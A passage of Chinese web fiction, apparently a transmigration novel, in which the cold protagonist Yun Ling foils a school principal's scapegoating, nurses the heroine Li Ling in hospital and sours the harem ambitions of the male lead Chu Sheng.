校长气得吹胡子瞪眼:“我还没发话呢,就把自己当客人了?你父母是怎么教你的,知不知道礼义廉耻怎么写!”
“没有父母。”女生的语气听不出任何情绪,好像有没有父母都不在意一般。
校长一时语塞,但随后,不知想到了什么,又放心下来,甚至语气比之前更为严厉:“云灵,你公然违反校规,还将同学打了,你自己说说,这件事该怎么办!”
校长坐在高位上,顶着一头所剩无几的头发,表情十分严肃,仿佛是一个满心公正和谐之人。
浑身都写满了优秀。
云灵视线在校长身上转了一圈:“你想怎么办?”
“请家……”似乎是想起来什么,校长立即改口:“请个能给你做主的来,要不然,今天你别想走出这校门!”
云灵蠢蠢欲动,她倒要看看,校长怎么阻止她出这个校门。
正当云灵想揍校长一顿时,一道推门声响起,吸引了室内两人的注意。
班主任黑着一张脸走了进来。
“连证据都没有,就下这样的结论,难不成,校长您也觉得云灵同学的样子,像是能一个打十个?”
班主任显然是给云灵撑腰来的,进门就是这样一句。
云灵可不领这情,讨好她难道不是为了勾引杨柳?她想着想着,又暗骂一句:“狗男人。”
校长之前怒气上头,没仔细考虑到这一点,如今被班主任一说,他才发现不对劲。
客区的沙发上,女生安静地坐着,那细胳膊细腿,显而易见的瘦弱,娇娇小小的,脸上还有一股子因营养不良引发的病态。
跟自家侄女口中的模样,半点也沾不上边。
就这小身板,不被打都是好事,怎么可能打人?
似乎是想到了什么,校长脸色一变。
该不会……
那丫头又把他当枪使了?
越想越有可能,校长仅剩的几根头发都差点被气飞。
他之前也被骗过,而且骗他的那些套路都大致差不多,只不过这一次,侄女直接闹进了医院,自己就没忍住信了。
可仔细想来,谁知道会不会是什么新把戏?
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校长紧咬住后牙。
现在可不是翻旧账的时候,为了面子,不管这个云灵做没做过那档子事,她这锅都背定了。
校长眼里划过一丝狠绝。
“我也没说要怎样啊,让云灵同学先找人过来,若是没事,自然不会多加为难她。”
然而心底想的却是,一个孤儿而已,没什么背景,到时候随便给点钱,这件事的替罪羊就有了。
类似的事情,校长显然已经干过不止一次,面上十分的轻车熟路。
班主任在一旁皱着眉,欲言又止。
云灵靠着沙发,扫了眼班主任,然后,轻飘飘地将视线定在了校长身上。
“要我叫人,你确定?”
“让你叫你就叫,哪来这么多废话,要是今天没人过来,你就别想走出这个……”校门两个字还没来得及说出口,就见云灵从兜里摸出一部手机,熟练地开始按号码。
一个连父母都没有的学生,哪里来的手机?
校长脚底一股凉气钻上头,总觉得有哪个环节出了问题,有种说不上来的怪异。
但看到云灵那副目中无人的姿态时,校长心里的那点惊疑,很快被滔天怒火所代替。
他拍桌而起:“学校命令禁止学生携带手机,你竟然还敢再公然违反校规!”
坐在沙发上的云灵专心致志地继续按着号码,对于校长的话,就跟没听见似的,连头都不抬。
她一连按出去了好几个号码。
对面都接的都十分迅速。
仿佛只要晚上一会,就会出现什么令人恐惧的事情一般。
电话一接通,她便以一句“来县一中校长室”直接结束通话,没有带上任何称呼和自我介绍。这种直接而简洁的方式,让校长心中的不安感愈发强烈。
不久,校长室的门被敲响了,两声重重的闷响在阴森的室内回荡,仿佛敲在校长的心上,格外骇人。
校长烦躁地咽了口唾沫,挥手示意班主任去开门,自己则坐回椅子上,整理衣着,以此掩盖住心中的不安。
门外,正站着四五个西装革履的中年男子,他们额头遍布着大小不一的汗珠,显然是急忙赶过来的。几人整整齐齐地站在校长室外面,一脸严肃,仿佛要处理什么重大事情。
这架势,将前来开门的班主任吓了一跳。好在他反应够快,略微思索后,便将人全部放进屋。
校长直到好一会,他才认出进来的这些人都是谁。
没认出来还好,认出来以后,就再也坐不住了。校长蓦然撑桌而起,就如同上课开小差,结果被老师点名的同学,那两条小短腿,都要抖出摇滚的节奏。
“刘总、王总……还有几位股东,你们怎么有空来了?”
刚进来的一批人中,为首的西装男子正是当初帮云灵跑腿□□的某刘姓富豪。接到电话以后,他便以最快的速度结束掉手头的会议,急忙赶来,还差点在下面的楼梯口摔了一跤。
此刻,整张脸都黑的吓人,瞧不出半点报纸上的和蔼可亲。
根本没听清楚校长在说什么。满脑子都只剩下:是哪个王八羔子又惹这小祖宗生气了?还连累到了自己头上?
正思考这个问题时,那王八羔子就发话了。
“您们来之前也通知一声啊,我们也好准备欢迎不是……”
几个西装男全部齐刷刷地扭过头,眼神跟吃人似的,吓得校长头顶仅有的几根头发也差点飞掉。
他……他是说错什么了吗?凶他干嘛!
此刻,那位被称之为刘总的目光极为不善,他盯着校长,扯了扯自己的领带,眉头紧锁,言简意赅:“我们听说这里出了点事。”
语毕,扭头朝旁边看去。
云灵还坐客区的沙发上,看那神情,显然是懒得开口解释。
见状,刘总自觉地将目光转向校长:“那你来给我们报告一下情况吧!”否则他们这十有九懵的,咋帮那小祖宗解决问题?
挺正常的一句话,却不知是哪一个字眼不对,让校长误以为,这些人是来给自己撑腰的。顿时就恢复了之前那分张扬。
飞快交代了一遍事情经过。大致意思就是自己侄女被云灵打了,浑身受重伤,住进了医院……
描述的要多惨有多惨,但其中真假有几分,可需要仔细甄别了。
那几个太妹都是女孩子,云灵可没下重手,她们表面上连外伤都没有,但身体嘛,云灵使了几道暗劲,让她们疼两三天给个教训罢了!
所谓的暗劲,其实是武者武学达到一定境界,通过对方经脉穴位使用的巧劲,这暗劲手法可以说,现代的医学,是根本查不出来的。
谁让这个世界,根本没有武学呢?更别谈什么内功心法了。
72. 种马世界
等校长说完,刘总揉了揉发疼的额角,目光转向站在墙角的班主任:“也说说你知道的。”
班主任在得知这群大人物的身份后,便有些后悔掺和进来了,一直安安静静地呆在角落,仿佛希望自己能原地消失。
此刻忽然被点到名,他显得有些懵然。
“……我?”
富豪们的眉宇间已露出不耐烦。
班主任为了泡云灵的家长,立刻改口,将自己所了解的情况一五一十地交代出来。
班主任所说的,与校长的版本大致相同,但在一些细微之处,却大相径庭。
他说完,还无视校长的瞪眼警告,补充道:“云灵同学在学校里表现很乖,倒是校长的侄女,一直旷课,还经常会拐着其他同学去混迹那种不正经的地方。”
“你!”校长气得差点不顾时宜上前打人,但好歹还是忍住了。
他深呼吸一口气,挂着有些扭曲的笑容望向刘总,若有所指道:“咱也不能光听某些人的片面之词,要不然……您们先在客区的沙发上坐一会,我去找保安查查监控,不就一切真相大白了吗?”
客区的沙发不大,现在只坐着一个云灵。
若要站着的这五个富豪全部坐进来,那云灵势必要让出位置。
刘总忽然无端地觉得脖颈一凉,下意识地伸手捂住,连忙开口:“不用休息了,我跟你一起去。”
“这,”校长顿了顿道,“监控室很少打扫,很脏,怕是不方便……”言语中,满是推脱。
“没有什么不方便的,不就是脏点么?我们做公家生意的,难不成连这点苦都吃不了!”刘总声势赫奕,一派正义模样,半点余地都不留。
只要离开那祖宗附近,去哪都行!
没有云灵在的地方。
哪里都是天堂!
校长面色被这句话哽得极其难看,迈出办公桌的脚收也不是,放也不是,僵在半空中。
原本,他想先一步去查清楚事情的真相到底如何,再做打算,但很显然,现在事情已经超过了他的预料。万一侄女说的是真的倒还好,可……
想到另外一种更大的可能性。
校长脸色一白,背后的虚汗湿了一片。
这些股东老总可不是那群好糊弄的小孩子,就怕到时候东窗事发,连他头上这顶帽子都保不住啊。
但人家是股东,人家是投资方。
他们提的要求,自己也总不可能拒绝。
只能期望侄女这次不要坑舅了。
正当富豪们一脸义愤填膺地准备跟着校长去查监控的时候,一道声音从后面传来。
“我也一起。”
云灵慢悠悠地从沙发上站起来,明明什么都没有做,但是往那里一站,就好像在明晃晃地告诉别人:我是恶魔。
见他们都僵在门口不动。
云灵皱了皱眉:“走啊。”
富豪紧催着校长,一行人浩浩荡荡地朝监控室走去。
幸好现在还是上课时间,要不然,估计得有不少同学会被这动静吸引。
监控室不过是保安室旁的一间小屋,由于鲜有人至,里面的仪器都落了一层灰。
保安颤颤巍巍地为这群人开了门,不敢进去,只站在门口等待,一边回想着近期是否有过失职之处。
几位富豪、校长和云灵都进了保安室,只留下班主任在外,与保安一同瑟瑟发抖。
县一中的监控室虽少有人管,却并非无用。几乎每天的监控录像都会被记录存储,自动上传至学校的数据库。
校长慢吞吞地擦净屏幕,打开监控,将时间调至昨天下午。
后山因荒芜未装监控,但旁边的走廊却有,因此他们能清楚地看见谁人进出后山。
监控画面中,放学不久,一队小太妹浩浩荡荡地进入后山,手里还架着一个五花大绑的人。
高清显示器中,领头小太妹的面容清晰无比,正是校长的侄女!
看到此处,校长的脸色骤然惨白。但见云灵尚未出现,富豪们也未出声,他便故作镇定地继续观看。
监控画面加速,右上角的时间飞逝,转眼过了一个小时,却未见人出后山,只有小太妹们的骂声和偶尔的闷哼声,暗示着事情的严重性。
校长坐在监视器前,额头上的冷汗清晰可见。他自是了解侄女的性格,但当着投资人的面,这又是另一回事。
不久,校长的侄女带着小太妹团队再次出现在监控范围内,一边骂骂咧咧的离开。
视频时间飞逝,始终没有再出现任何人影。
“不,她……”校长激动地站起身,语无伦次。
若凶手不是云灵,那侄女的疼痛从何而来?侄女虽品性不端,但也非愚蠢之人。
“肯定是她害了我侄女!”校长红着眼,歇斯底里的声音穿透房门,惊动了门外的班主任和保安。
直到话出口,校长才猛然意识到不妥。
他没有任何指向云灵的证据,只能脸色灰败地坐回位置。
见校长言行失态,刘总皱眉,轻咳两声问向云灵:“你说这事怎么处理?”
如今既然还了云灵清白,自然就该处理校长了,再说,她那侄女自始至终,都不像是被打的人,没看到她在视频里活蹦乱跳,骂骂咧咧的嘛?
云灵确实打了那些小太妹,这是不可否认的,虽然她用了手段,让这些监控无法看到她。
至于怎么处理校长,云灵交给刘总他们,转身就走了,只留下面面相觑的众人。
社会,总是人情世故的。
那些富豪见云灵好似不大在意的样子,因此,富豪们选择轻拿轻放,校长依旧是校长,一切照旧。
云灵得知此事的处理,没有作任何评价,如何她真要插手管,世界上百分之八十的人,都需要下地狱走一遭。
如果是真实世界,云灵自然不会这么轻易放过,而是刚降临,就会抹去世界上那些身怀罪孽的人。
人情世故而已,就让这些富豪们按照他们的处理方式来吧。
此事过后,云灵果断请了一天假。
去交假条时,班主任坐在办公桌前,一边批假,一边扭扭捏捏地朝云灵打听杨柳的喜好。
云灵没有回话,直接甩下假条,冷冷地看了班主任一眼,然后扬长而去。
这种态度,让班主任剩下的话如鲠在喉。
请完假后,云灵直接去了黎玲所在的医院。
距她上次把人扔进医院,已经第三天了,期间从来没去看望过。
云灵买了些水果鲜花,到医院后,她才发现自己忘记了房间号,又跑去问前台的护士。
一番周折后,总算找到了病房。
将东西放在床头桌面,云灵坐到了病床旁的椅子上。
黎玲住的这间病房,是县里目前为止最好的一间。
但毕竟是小县城里的东西,哪怕最好,又能好到哪里去?
黎玲是个沉默寡言的性子,从云灵到来直到现在,她一句话也没说,只是躺在床上开始吃云灵带来的水果。
场面一度冷寂。
云灵看着还在吃橘子的黎玲,当先开口:“你喜欢那种同时有好几个女朋友的男生?”
黎玲冷不伶仃突然听到云灵的声音,愣了半天才回过神:“不。”
黎玲的语气十分肯定,没有一丝迟疑。末了,还抬头望着云灵,仿佛她问了什么惊世骇俗的问题一般。
云灵一只手撑着下巴,她就不明白了,女主脑子没什么大问题啊,怎么剧情里会做出那么蠢的事情?
这问答过后,又是沉默以对,转眼就已经到了中午。
有云灵带过来的水果,哪怕中午没吃饭,黎玲也不觉得饿。
但为了缓解尴尬,她还是一直塞到腹部饱胀不已才堪堪停下。吃东西是为了转移注意力。而停下吃东西,就无法再继续转移注意力了。
长这么大,黎玲第一次遇到比自己还沉默寡言的人。
也不知过了多久,黎玲一咬牙,决定主动打破沉默。
谁知,对面的云灵比她更快一步开口:“我给你讲个故事吧。”
不会是鬼故事吧?
黎玲平日里虽冷若冰霜,实则胆子极小,鬼故事更是从来不听的。
但眼前的云灵毕竟救了自己一命……对方难得主动开口,自己也不好拒绝,只得抓紧被角,严肃地点了点头。
见黎玲的反应有些奇怪,云灵也懒得多想,慢悠悠地开始讲述:“从前,有一位渣男,这个渣男同时有三个女朋友。”
当然,云灵不会自己编故事,都是在网上搜罗的。
见故事并不恐怖,黎玲吊起的心也终于慢慢放下。
听完后,她甚至有些愤慨:“这男的也太不是东西了,居然连这种事情都干得出来,还口口声声说什么都爱都专心,也不怕被雷劈死!”
一向冷冰冰的校花,居然一口气说出了这么一大段话,显然是气到了极点……
黎玲住院的一个月时间里,云灵几乎每天都会往这跑。
去的时候,还会带上些鲜花
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、水果,或是岛南的椰子,或是非南的柑橘。反正一个月下来,居然没重样的。
白天监视楚胜,顺带玩股票,晚上则提上探病标配大礼包,去住院部找黎玲。
在住院期间,黎玲差点没被宠成小公主。不仅每天都能吃到天价水果、住着VIP病房,更有云灵亲自讲故事的服务。
各种渣男劈腿后宫的故事,就如同不用打草稿一般,滔滔不绝地反复给黎玲洗脑。
黎玲是听得起劲了,而负责搜罗故事的云灵,可伤脑筋啦!
半月过去,黎玲已渐渐习惯了云灵散发的那股冷寂气场,甚至对此产生了一种难以言喻的依赖感。连她自己也说不清这种感觉的来由。
此刻,这位冰山校花坐在床上,面无表情,眼神却流露出一丝可怜。
“阿灵,我想吃樱桃。”黎玲对于云灵的称呼起来越发亲昵。
云灵瘫坐在软椅上,似乎在发呆,听到黎玲的话后才回过神来:“你是手断了还是脚断了?”
云灵心情非常遭,她容易嘛?不仅讲故事,还负责投喂!
黎玲继续面无表情地望着云灵,眼里满是无助。
“就在你旁边的窗子上,我腿麻了,够不到……”
云灵看着眼前这个人设几乎崩塌的女孩,说好的冰山女神呢?难道脑子被那群小太妹打坏了?
“阿灵。”黎玲坐在床上,脸上的淤青已经通过药物治疗好得差不多了,冰山女神配上楚楚可怜的目光,冲击力着实不小。
于是,她如愿以偿地看到云灵拿起放在窗边的水果,也没挑选,一股脑地塞给她。
“吃,吃不死你。”
黎玲毫不在意地在袋子里翻找起来,同时嗓音幽幽响起:“阿灵,你为什么不是男孩子啊。”
“为什么得是狗男人?”
“我是说真的,”黎玲的目光意味深长,“你要是个男生,咱俩就凑合着过了。”
云灵:“???”
“我觉得你特别霸道总裁,一口气包下这VIP病房,一包就是一个月。”
“而且每天都来,每次来还带那么多花和吃的。”
云灵当做没有听到黎玲的话,强行把人按回床上,照例又开始给她讲故事。
故事讲完后,冰山美人并没有按常规进入吐槽环节,转而谈起了另外一个话题。
“我明天就要出院了。”
云灵沉吟片刻,算算日子,病房的确快到期了。
“那我再给你续两年。”她淡淡道。
黎玲拒绝:“不用,我想回去上课。”
语毕,她明显感受到周围的温度急剧下降,冷如冰川。
她……她说错什么了吗?
“回去上课可以,”云灵沉默了半响,才缓缓开口,“但回去后,不要想着和某男……人有什么接触。”
黎玲瞳孔震惊。不能和男人接触是什么意思?
她目光复杂地看着云灵,想问什么,却又不敢出声。
对于这一类目光,云灵懒得理会,一直待到快午夜了,才慢悠悠走人。
心情不好的云灵从病房推门而出,身上那股冷寂的气场,硬生生把医院的走廊变成了恐怖片现场。
她本来想打个车回去。
但大晚上的,她站在医院门口,硬是没拦到一辆车。
见她招手,那些司机不仅没有停下来的意思,反而跟受惊一般疯狂地踩着油门从她面前飚过,眨眼就不见了踪影。
最终,云灵决定步行回去。
路过一条黑巷子的时候,云灵停下脚步,冷冷地看着眼前突然出现的一群歹徒。
漆黑的小巷,阴风阵阵。
歹徒头目拿着刀,看着这场景,一脸懵逼。
又是一阵阴风袭来,带着一股压迫感。
歹徒头目的表情,逐渐从呆愣变成恐慌,他连连后退。
可不知道是怎么一回事,不管怎么退,眼前女生与他之间的距离都没拉开过,反而愈来愈近。
更恐怖的是,他明明看见这女生没动过!
他这是遇到鬼了?
“饶命!俺们从来没想过害人,求您别杀俺们!”
歹徒头目带着自己的小伙伴,丢掉刀,跪在云灵面前,痛哭流涕。
有的甚至干脆开始疯狂磕头,不断忏悔着自己这些年的罪行。
早听说这一行干多了会遇到鬼。
可如今真出现的时候,才发现和当初想的完全不是一回事。
原来,鬼都这么可怕的吗?
73. 种马世界
云灵站在原地,冷冷地扫过面前这群人。
这群人莫不是脑子有病?
偷王婶家的内衣,抢孩童的零食窝,吓唬过路的老人。
这些鸡毛蒜皮的小事与她何干?
此刻,这群人最大的罪过,便是挡了她的去路!
正当云灵想要动手揍他们一顿的时候,一道男声突然响起。
“住手!”
这两个字,让跪在地上的歹徒们眼中迸发出希望的光芒。
难道有天使降临来救他们了?
然而下一秒,他们便看到那远道而来的男子,霸气地挡在了云灵面前,正气凛然地说道:“一群大男人,欺负一个小姑娘算什么英雄。”
跪在地上的歹徒们面面相觑:“……”
他们原本以为来了救星,结果却是个傻子。
他哪只眼睛看到他们欺负她了?
难道这情形还看不出是谁在欺负谁吗?
男人也感受到了周围的寒意,心中有些发怵。
但他知道,此刻绝不能示弱。
为了面子,他冷冷地对歹徒们说:“识相的就快滚,否则,别怪我对你们不客气!”
歹徒们的眼睛一亮。
他们明白了!
这位兄弟是在用言语迷惑对方,救他们于危难之中啊!
他们错怪他了!
生的希望就在眼前,歹徒们连声道谢都来不及,拔腿就跑,不一会儿就消失得无影无踪。
只留下地上未干的泪渍,记录着他们的感动。
直到歹徒们跑得无影无踪,男子才松了口气。
他真怕那些人受不了言语刺激,真的在这里与他动手,他知道自己打不过他们,更不想在佳人面前丢脸。
男子缓缓转过身。
“你没事吧,同桌?”
他清秀的面庞透着一股斯文气息,看上去格外招女孩子喜欢。
这不正是楚胜,剧情里那个男主?
楚胜表面上云淡风轻,心里却害怕得要命。
大晚上的,他的同桌越来越像鬼魅了,若非自己认得她,差点也被吓得魂飞魄散。
真是可惜了那张漂亮的脸。
云灵没有说话,等歹徒们逃得无影无踪,她才转过头,将视线定格在楚胜的脖子上。
楚胜被看得毛骨悚然,急忙转移话题:“你一个女孩子,这么晚怎么还在外面闲逛,多危险啊。不如我送你回家?”
楚胜自己也说不清,究竟是出于何种心态,会说出那样的话。
是喜欢吗?
不,绝不可能。
这个女生是班上公认的危险人物,与她相处,他只有恐惧和害怕,哪里还敢生出非分之想?
那为何他还会提出送她回家?
楚胜的眼神一沉。
或许是因为女生平日里那些低调却昂贵的衣物,又或许是班主任在很多时候,对她那若有若无的讨好态度。
像这种有钱有势的女孩子,若是与自己扯上关系……
楚胜似乎能看到,未来的美好日子正在向自己招手。
“你倒是管得挺宽。”云灵幽幽地抬起眼眸,“那你半夜三更在外面瞎晃悠什么?”
楚胜下意识地避开了与女生对视的目光。
“我……”
他回家的路上,偶遇了一场车祸,阴差阳错地救下了一个性感迷人的大美女。
美女当场感激涕零,邀请他到家中一坐。
他一向受不了别人的请求,便半推半就地去了。
想到接下来发生的事情,楚胜心中一片旖旎。
但他能说吗?
其实也不用他说,光是看着他那副荡漾的表情,云灵就大概猜到了些什么,不禁有些恶寒地退开两步。
最后,楚胜还是没能送云灵回家。
云灵走得实在是太快了,上一秒还在眼前,下一秒就已经到了十数米外的地方。
这速度,说不是鬼都没人敢信,也让楚胜不仅没有送成佳人,还迷路了。
站在陌生的街道上,楚胜心中那点旖旎早已被扑灭了火苗。
第二天一大早,云灵早早起床,在客厅里来回踱步。
刚下班回家的杨柳,看到的正是这样一幕。她放下早餐,一边换鞋一边无奈地问:“小灵怎么了?”
云灵没有回答,只是默默地吃着杨柳带回来的豆浆,一边盯着墙上的钟表。
当分针指向特定的刻度时,她迅速换鞋出门。
“这孩子……”杨柳换好衣服出来,看到的只有云灵离开的背影和一声关门声。
……
熟悉的时间,熟悉的女生再次出现在熟悉的教室门口,熟悉的氛围瞬间充盈了整个教室,让同学们噤若寒蝉。
女生落座,上课铃应声响起,无比准时。
同学们:“……”
虽然已经相处了一个月,但还是觉得好可怕啊!若不是转班的手续太麻烦,他们早就……嘤嘤嘤!
老师走进教室,开始上第一堂课。
这个月的授课让这些老师都有了经验,进高一三班之前,都要额外准备一件外套,以免着凉。
云灵百无聊赖地坐在下面,桌上的书封皮朝上,翻都没翻开,一副混日子的态度。
又是一节课过去,班主任进来了。
班主任和科任老师不同,除非有什么事要宣布,要不然,是不会经常出现在学生们面前的。
班主任直接走到了讲台上,一本书也没带,显然不是来代课的。
靠窗的同学们,甚至还能透过薄薄的窗帘,隐约看见走廊上还有一道修长的人影。
大家在心中暗自猜测着,但畏惧于冷寂的氛围,同学们都还比较沉默,只有少许椅子桌角和地面上摩擦产生的声音。
“咳咳,请同学们安静……”班主任清了清嗓子,但很快意识到这句开场白的不妥,便直接跳过了它,“今天,向大家介绍一位新同学……”
教室外,一道纤长的身影应声缓缓走进教室,那张冷若冰霜又漂亮的脸蛋,让云灵感到无比熟悉。
看着走进来的黎玲,云灵的眼眸危险地眯起。
黎玲为何会出现在这里?刚出院就不安分?早知如此,还不如让她在医院多待上十几年!
云灵周身的气场愈发冷寂,让一旁的楚胜都顾不上欣赏美女,只是一个劲地揉搓着自己的胳膊。
“来,请新同学自我介绍一下。”班主任一脸笑容地侧了侧身,让出了讲台中心的位置。
黎玲高贵冷艳地站在那个位置上,视线在台下的座位搜寻,最后,准确无误地落在了云灵身上:“黎玲。”
她言简意赅,说完便没了下文。
这种酷酷的自我介绍,在满是中二病的高中,本该很受欢迎,而事实也的确如此。
同学们都在心底里悄悄惊叹着,不愧是学校里享有‘冰山美人’之称的校花。
但看着那张和云灵不相上下的漂亮脸蛋,三班的同学们表示:实在喜欢不起来。
若是一个阳光活泼型的美女,他们还能勉强接受,毕竟也能刚好综合一下不是?
可他们已经有了云灵这个移动的南极大陆,实在不需要另外一座冰川来以毒攻毒。
这两人放在一起,学校难不成是想要冻死他们?太歹毒了!
“黎玲同学是从一班转班过来的,以后就加入我们三班这个大家庭,大家一起学习成长!大家掌声欢迎!”班主任热情地说道。
“……”
底下一片安静,没人鼓掌,把班主任衬托得像个傻子一样,嘴角还挂着笑容。
云灵坐在下面,眼里都写满了不耐烦,让班主任把接下来那些场面话都吞回了肚子里。
他急匆匆地来,灰溜溜地走。
走之前,原本准备对黎玲说的一大段叮嘱,被省略到只剩下最后一句:“自己找个位置坐下吧。”
语毕,扬长而去。
黎玲也不在意,她抱着一堆书本,径直走向云灵所在的位置。
云灵坐在里面,黎玲站在课桌间的走道,两人中间,隔着一个江文林。
于是乎,楚胜看到的,就是这个冰山美人朝自己款款而来。
她这是,看上自己了?
楚胜下意识这样认为。
毕竟他对自己的长相很有信心,就算称不上校草,也勉强算是一个长相干净的帅哥吧?
而且,听说在学生时期就有过特别经验的男孩子,总会格外有一种特殊的男性魅力。
和班上其他同学不一样。
他,已经是一个男人了!
算起来,比班上其他那些不谙世事的小男孩不知道强多少。
肯定是更容易得到美女关注。
看着黎玲离自己越来越近,楚胜内心骚动着,面上却维持着一派正气。
黎玲的衣着朴素,不似云灵那般华贵,但在楚胜眼中,她的气质却远胜于云灵,更适合携手共度青春。
这两位女孩都有一种冷艳的气质,但她们的冷,却是截然不同的两种风情。
黎玲的冷,如同高岭之花,孤傲而不可攀;她面无表情,给人一种高冷之感。而云灵的冷,却像是恐怖片中的女主角,犹如尸山血海走出来的杀神。
教室并不宽敞,讲台与座位之间不过几步之遥
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。
黎玲很快就走到了楚胜的面前。
她身上散发的淡淡香气,让楚胜的心跳不由自主地加速,仿佛昨日的悸动再次袭来。
书上说,这种心跳,是对心仪之人特有的感觉。
但若他昨日所动心的是她,那今日的悸动又该如何解释?难道他竟同时对两位女孩心生情愫?
这个念头让楚胜有些困惑,但他很快便释然了。
他相信,只要真心喜欢,无论几人,他都能一视同仁。
楚胜抬头,正欲开口,却听到黎玲那冷若冰霜的声音:“我想坐这里。”
楚胜心中一惊,有些慌乱。
她怎能如此直接地对自己的同桌提出这样的要求?
楚胜对云灵的了解告诉他,她是个不容小觑的人物,稍有不快,便会散发出令人恐惧的气势。
而黎玲竟然因为想与自己同坐,便要云灵让座,这岂不是在挑战云灵的底线?
楚胜正欲鼓起勇气争辩,却又听到黎玲那冷冰冰的声音:“我想坐这里,麻烦同学让个位。”她甚至用指关节轻轻敲了敲桌面。
楚胜这才意识到,黎玲的目光和敲击声都是针对自己的。
“你是要坐我这个位置?!”楚胜有些不敢置信。
黎玲冷冷地应了一声,眉头微蹙,似乎对楚胜的明知故问感到不悦。
楚胜感到一阵憋屈,但在众目睽睽之下,他也不好多问,只得默默地收拾自己的东西,离开了原位。
幸运的是,每个班级在开学后不久都会有一些因各种原因转班或退学的同学,三班也不例外。他们离开后,空出的座位正好给了楚胜一个去处。
楚胜搬到了教室稍后的位置。不知是否是错觉,离云灵远了一些,那股冷意似乎也减轻了。
但这并不是楚胜想要的结果。
看着黎玲和云灵成为新同桌,楚胜的脸色有些难看。
不知从何时起,楚胜总有一种错觉,觉得自己应该是那个被众多美人争抢的对象,所有的佳人都应围绕在自己身边,等待着自己的垂青。
就像昨日那个女子一样。
楚胜一想起那个女人,心中的怒火便渐渐平息,脸上竟不自觉地泛起一丝奇异的温柔。
这副神情,却让他的新同桌感到一阵恶心。
新同桌打了个寒颤,立刻将自己的桌子和凳子挪开,仿佛楚胜是个怪物一般。
如果说楚胜只是心中不快,那么坐在云灵周围的同学们,则是身心俱疲。
他们仿佛置身于移动的南极大陆和冰川之间,没有传说中的以毒攻毒,反而像是被施加了双重诅咒,空气中弥漫着令人窒息的压迫感。
云灵此刻怒气填胸,黎玲竟敢在她眼皮底下与楚胜交谈!
虽然黎玲只是女主之一,但自己已经投入了如此多的时间和精力,若是最终仍让黎玲和楚胜走到一起,她店面面子往哪放?
云灵心中在“搞死男主”和“搞死男主”之间徘徊,周身的气势节节攀升。
黎玲悄悄从包中拿出一杯豆浆,推给云灵:“阿灵。”她的声音依旧清冷,但云灵此刻并不想理会她,直接闭目养神。
“阿灵?”黎玲坚持不懈地又叫了一声,将盒子推到了云灵的桌上。
“你先睁开眼睛看看,真的不要吗?”黎玲出声诱惑,伸手去拽云灵的衣服。
云灵睁开眼睛,看到了摆在自己面前的豆浆,她瞥了黎玲一眼,将豆浆放进抽屉,继续闭目养神,一言不发。
但同学们明显感觉到,教室里的温度忽然温暖许多,不似之前外面三十八度的气温下,让坐在教室里的同学们恨不得裹上棉衣。
同学们刚刚松了一口气,就看到刚才离开的班主任又回来了。
“对了,同学们!”班主任依旧面带微笑:“诸位同学,因前英语老师家中有事,学校特请了一位助教来教授我们的英语课。”
此次,他并未再添上“大家掌声欢迎”之类的话,以免自取其辱。
他走到门口,推开门。
一位身材高挑、气质出众的美女映入众人眼帘。
“诸位同学,大家好!”她微笑着向众人打招呼,职业装束勾勒出她曼妙的曲线,令人眼前一亮。
她一站上讲台,便引得台下的学生们心潮澎湃。
最激动的莫过于楚胜,他心中惊呼:这……不就是昨日那女子吗?她竟是自己的助教!
他望着台上的女子,心中难以自制,面红耳赤。
“这位是你们的学姐,她一直在国外深造,昨日方才归国,本应多休息几日,但她坚持今日便来授课,这份敬业精神,实在令人钦佩。”
74. 种马世界
然而,无人理会班主任的夸赞。
只要云灵在场,这群少年们便只知尴尬,毫无解围之意。
不久,班主任摇头叹息,离开了教室。
只剩下那位美女站在台上,显得有些手足无措。
“我名叫姚姿艾,暂任大家的英语助教,诸位可直接唤我学姐,或是姚助教。”姚姿艾虽然才毕业几年,但面对这些与自己年岁相仿的学生,心中不免有些紧张。
她曾是传说中的“胸大无脑”,在国外毕业后,本欲就业,却因能力不足,遇事只会哭泣。幸得美貌,总有人替她收拾残局。
但也因这美貌,她多次险些失身。为了保全清白,她毅然决然地选择回国。
然而,国内并无适合她的职位。她嫌这工作太累,那工作太忙,不忙不累的,又嫌工资太低。
唯一一个不忙不累、工资高的工作,她又以冰清玉洁自居,不肯屈就。
最终,还是依靠父母的关系,才在这座小县城的中学找到了助教的职位。
姚姿艾转过头,在黑板上用娟秀的字体写下了自己的名字。
那娟秀的小字在硕大的黑板上显得格外娇小,底下的同学们竟无一人能看清。
同学们面面相觑,心中暗自埋怨学校怎会找这样的人来做助教。
当然,也有少数学生不在乎她的能力如何,对他们而言,只要长得漂亮就足够了。
比如楚胜。
楚胜紧盯着讲台上的身影,身体微微颤抖,仿佛是火山喷发后的余波,激荡而炽热。
楚胜那眼神,仿佛恨不得将自身化作一缕轻烟,与之紧紧缠绕,永不分离……
楚胜坐在教室的角落,前方还有几个高个子遮挡,姚姿艾仍旧迅速注意到了他。
不仅如此,她还越俎代庖,直接点名,让他成为了新的英语课代表。
这一举动,自然引起了众多同学的不满。
要知道,原先的课代表乃是大家公选,再由英语老师亲自指定。
如今这是何意?!
竟让一个连自己作业都不交的人来担任课代表。
若真让他当上了,班级的颜面何存?
但姚姿艾却不以为意,她以助教之名,硬是凭借一己之力,排除万难,将楚胜的课代表之位定了下来。
楚胜坐在自己的位置上,全程一言不发。
他并未拒绝姚姿艾的助力,也无站出来相助的打算。
只是静观自己的女人为自己披荆斩棘,然后坐享其成。
放学后。
因为还有一些工作的交接,姚姿艾被叫走,连与楚胜打招呼的机会都未有。
以至于楚胜收拾完东西,哼着小曲准备回家时……
出事了。
学校这种地方,白天何等热闹,放学后便何等寂静。
教学楼空无一人,稍有声响,便会伴随着无尽的回响。
仿佛有一个看不见的幽灵,正躲在某个看不见的角落,悄悄注视着你,伺机而动,狞笑着给予回应。
几个男生将楚胜逼至走廊的墙角,宛如一群正在调戏良家妇女的地痞流氓。
领头的那个男生,楚胜认得,是那个班上原来的英语课代表。
“想不到有些人表面老实,背后却耍尽手段。”原课代表的语气中带着几分讥讽,言辞间满是指责。
在视线扫过楚胜身上穿着的衣物后,眼中更是流露出一丝轻蔑。
说实话,他并不歧视穷人。
家境贫寒的朋友他也不是没有,但人家都是自强不息,哪里会像楚胜这样——自己不努力也就罢了,还总是拿家世说事。
每次争执必提家世。
仿佛生怕别人不知他家贫。
明明是自己做错了事才受责,却总觉得别人是因为看不起穷人,故意刁难。
真当大家都很闲?
天下穷人何其多,为何偏偏刁难你一个?
自己做了些什么,心里没点数吗?
还整天摆出一副坚强忍隐的模样,仗着自己看不见,就来辣别人的眼睛。
怎地?
穷人便了不起么!
